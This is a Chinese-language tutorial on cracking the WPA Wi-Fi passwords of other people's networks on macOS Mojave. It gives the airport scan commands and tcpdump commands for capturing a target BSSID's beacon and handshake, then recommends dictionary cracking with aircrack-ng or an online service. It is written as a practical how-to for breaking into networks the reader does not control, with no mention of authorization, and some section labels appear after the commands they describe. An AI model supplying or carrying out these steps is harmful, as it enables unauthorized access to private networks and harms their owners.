请注意:本文主要针对的是macOS Mojave系统,其他系统可能会有所不同。我们提供了一种破解Wi-Fi密码的最佳方法,即先抓取cap包,然后使用aircrack-ng等工具进行字典攻击,通过暴力破解来尝试破解密码,成功率主要取决于字典的强大程度。当然,还有其他方法,比如运行PIN码攻击,但这取决于您的网卡和对方的路由设备,如果对方关闭了PIN功能,则无法使用此方法,我们在这里不进行讨论。
macOS自带了一个非常好用的airport工具。
安装命令
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport scan
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
1007 dc:d7:13:b4:38:6c -68 6 Y -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
如果您使用的是macOS Mojave系统,可能会收到操作不允许的提示,这可能与内核保护有关,网上有关闭方法,但我不想折腾,所以直接进行扫描。
扫描网卡
扫描完成后,您将获得类似以下结果
sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport sniff 6
抓包
请注意:1.将命令中的6更改为您要抓取包的信道,可以查看CHANNEL中的值。2.令人困扰的是,在macOS Mojave中,该命令可能会出现”Capturing 802.11 frames on en0.”的错误。目前还不清楚原因,我在Stack Overflow上查看了一下,有人也遇到了这个问题,好像是系统问题,老系统就可以使用。为了解决这个问题,airport sniff可能无法使用,有人提供了更好的解决方案,使用tcpdump来抓包。
# capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en1 -w beacon.cap
# wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en1 -w handshake.cap
使用tcpdump抓包
请注意:将$BSSID更改为您要抓取的地址。
抓取的包默认保存在/Users/username中。一旦获得.cap文件,就可以使用字典攻击来尝试破解密码了。我个人比较懒,不想在本地运行字典攻击,也有很多在线网站可以实现。
推荐gpuhash.me/…
参考:louisabraham.github.io/articles/WP…